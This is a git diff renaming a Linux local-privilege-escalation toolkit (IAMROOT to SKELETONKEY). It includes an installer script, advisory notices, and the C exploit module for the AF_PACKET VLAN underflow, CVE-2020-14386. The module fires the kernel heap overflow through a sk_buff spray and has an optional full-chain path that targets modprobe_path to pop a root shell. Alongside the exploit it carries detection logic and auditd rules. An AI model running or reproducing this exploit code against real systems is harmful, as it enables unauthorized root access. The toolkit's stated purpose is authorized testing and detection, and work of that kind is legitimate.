set -euo pipefail
|
||||
|
||||
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
|
||||
VERSION="${IAMROOT_VERSION:-latest}"
|
||||
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
@@ -40,11 +40,11 @@ log "detected arch: $target"
|
||||
|
||||
# Resolve version → download URL
|
||||
if [ "$VERSION" = "latest" ]; then
|
||||
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
|
||||
else
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
|
||||
fi
|
||||
log "downloading from: $url"
|
||||
|
||||
@@ -56,18 +56,18 @@ fi
|
||||
tmp=$(mktemp -d)
|
||||
trap 'rm -rf "$tmp"' EXIT
|
||||
|
||||
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
|
||||
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
|
||||
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
||||
fi
|
||||
|
||||
# Verify checksum if available
|
||||
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
|
||||
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
|
||||
# The .sha256 file has the binary's original name; normalize for our local copy
|
||||
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
|
||||
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
|
||||
else
|
||||
actual=""
|
||||
log "no sha256sum/shasum available — skipping checksum verification"
|
||||
@@ -83,17 +83,17 @@ else
|
||||
log "no checksum file at $sha_url — skipping verification"
|
||||
fi
|
||||
|
||||
chmod +x "$tmp/iamroot"
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/iamroot"
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/iamroot" "$target_path"
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/iamroot" "$target_path"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
fi
|
||||
|
||||
ok "installed: $target_path"
|
||||
@@ -104,10 +104,10 @@ cat >&2 <<EOF
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo iamroot --scan # what's this box vulnerable to?
|
||||
sudo iamroot --audit # broader system hygiene
|
||||
sudo iamroot --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
|
||||
See \`iamroot --help\` for all commands.
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
# Fragnesia — CVE pending
|
||||
|
||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
||||
> Phase 7+.
|
||||
|
||||
## Summary
|
||||
|
||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
||||
into the page cache of an unrelated file. Same primitive shape as
|
||||
Dirty Frag, different reach.
|
||||
|
||||
## Status
|
||||
|
||||
Audit-stage. See
|
||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
||||
section on backup primitives. Notably: trigger appears to require
|
||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
||||
reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
## Not started.
|
||||
@@ -0,0 +1,28 @@
|
||||
# NOTICE — af_packet2 (CVE-2020-14386)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
|
||||
(`maclen = skb_network_offset(skb)` when network header precedes
|
||||
maclen) → 8-byte heap OOB write at the start of the next slab object.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
|
||||
September 2020.
|
||||
|
||||
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
||||
|
||||
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
||||
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||
the shared finisher.
|
||||
|
||||
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||
module so detection signatures dedupe cleanly.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
+94
-135
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||
@@ -10,12 +10,12 @@
|
||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
|
||||
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||
* us a single 8-byte heap-OOB write into the head of the
|
||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||
@@ -43,11 +43,8 @@
|
||||
* before backport. Embedded systems with 4.x kernels still in production.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -55,13 +52,19 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -72,52 +75,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if_arp.h>
|
||||
#include <poll.h>
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define ETH_P_ALL 0x0003
|
||||
#define ETH_P_8021Q 0x8100
|
||||
#define ETH_P_8021AD 0x88A8
|
||||
#define ETH_P_IP 0x0800
|
||||
#define ETH_ALEN 6
|
||||
#define ETH_HLEN 14
|
||||
#define VLAN_HLEN 4
|
||||
#define IFF_UP 0x01
|
||||
#define IFF_RUNNING 0x40
|
||||
#define SIOCSIFFLAGS 0x8914
|
||||
#define SIOCGIFINDEX 0x8933
|
||||
#define SIOCGIFFLAGS 0x8913
|
||||
#define SOL_PACKET 263
|
||||
#define PACKET_RX_RING 5
|
||||
#define PACKET_VERSION 10
|
||||
#define PACKET_QDISC_BYPASS 20
|
||||
#define TPACKET_V2 1
|
||||
#define PACKET_HOST 0
|
||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
||||
struct pollfd { int fd; short events, revents; };
|
||||
#define POLLIN 0x001
|
||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
||||
#define MAP_SHARED 0x01
|
||||
#define MAP_LOCKED 0x2000
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
#endif
|
||||
|
||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||
{4, 9, 235},
|
||||
@@ -135,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
|
||||
sizeof(af_packet2_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||
@@ -223,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
* the primitive. It does not land cred overwrite.
|
||||
*/
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||
static void af_packet2_skb_spray(int n_iters)
|
||||
@@ -280,7 +226,7 @@ static int get_ifindex(const char *name)
|
||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (bring_up_lo() < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||
*
|
||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||
@@ -473,7 +410,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* Reality check on this implementation: the deterministic mechanics
|
||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||
* struct offset for the running kernel) are not portable enough to
|
||||
* land reliably from a single iamroot run on an arbitrary host. We
|
||||
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||
* trigger sequence, then return -1 to signal "the primitive fired
|
||||
* but we cannot empirically confirm the write landed". The shared
|
||||
@@ -486,11 +423,11 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||
* down for the target host. */
|
||||
struct afp2_arb_ctx {
|
||||
const struct iamroot_ctx *ictx;
|
||||
const struct skeletonkey_ctx *ictx;
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
* frame would then write our payload (the modprobe_path string)
|
||||
* into the forged ->data target. */
|
||||
for (int i = 0; i < c->n_attempts; i++) {
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
@@ -535,15 +470,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
int st;
|
||||
waitpid(p, &st, 0);
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||
* field on this host. Return -1 so the finisher's sentinel-check
|
||||
* loop in iamroot_finisher_modprobe_path() correctly reports
|
||||
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||
* "payload didn't run within 3s" rather than claiming success. */
|
||||
fprintf(stderr,
|
||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||
@@ -563,25 +496,28 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
#endif
|
||||
|
||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->authorized) {
|
||||
/* Defense in depth — the dispatcher should have gated this. */
|
||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -597,7 +533,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -644,7 +580,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||
WTERMSIG(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
switch (WEXITSTATUS(status)) {
|
||||
case 3:
|
||||
@@ -652,65 +588,88 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||
"appears patched at runtime\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 2:
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 4:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||
"(scope = PRIMITIVE-DEMO)\n"
|
||||
" For end-to-end root, see Or Cohen's public PoC "
|
||||
"(github.com/google/security-research).\n"
|
||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
* resolve modprobe_path, refuse with a helpful message
|
||||
* rather than fabricate an address. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_packet2");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
struct afp2_arb_ctx arb_ctx = {
|
||||
.ictx = ctx,
|
||||
.n_attempts = 4,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
#else
|
||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
/* User explicitly disabled the shell pop, so the "we didn't
|
||||
* pop a shell" outcome is the expected one. Map to OK. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||
WEXITSTATUS(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||
* module still registers and `--list` / `--detect-rules` work on
|
||||
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||
* there. */
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
const struct iamroot_module af_packet2_module = {
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||
@@ -726,7 +685,7 @@ const struct iamroot_module af_packet2_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet2(void)
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
{
|
||||
iamroot_register(&af_packet2_module);
|
||||
skeletonkey_register(&af_packet2_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
# NOTICE — af_packet (CVE-2017-7308)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
|
||||
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
|
||||
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
|
||||
|
||||
Original advisory + writeup:
|
||||
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
|
||||
|
||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
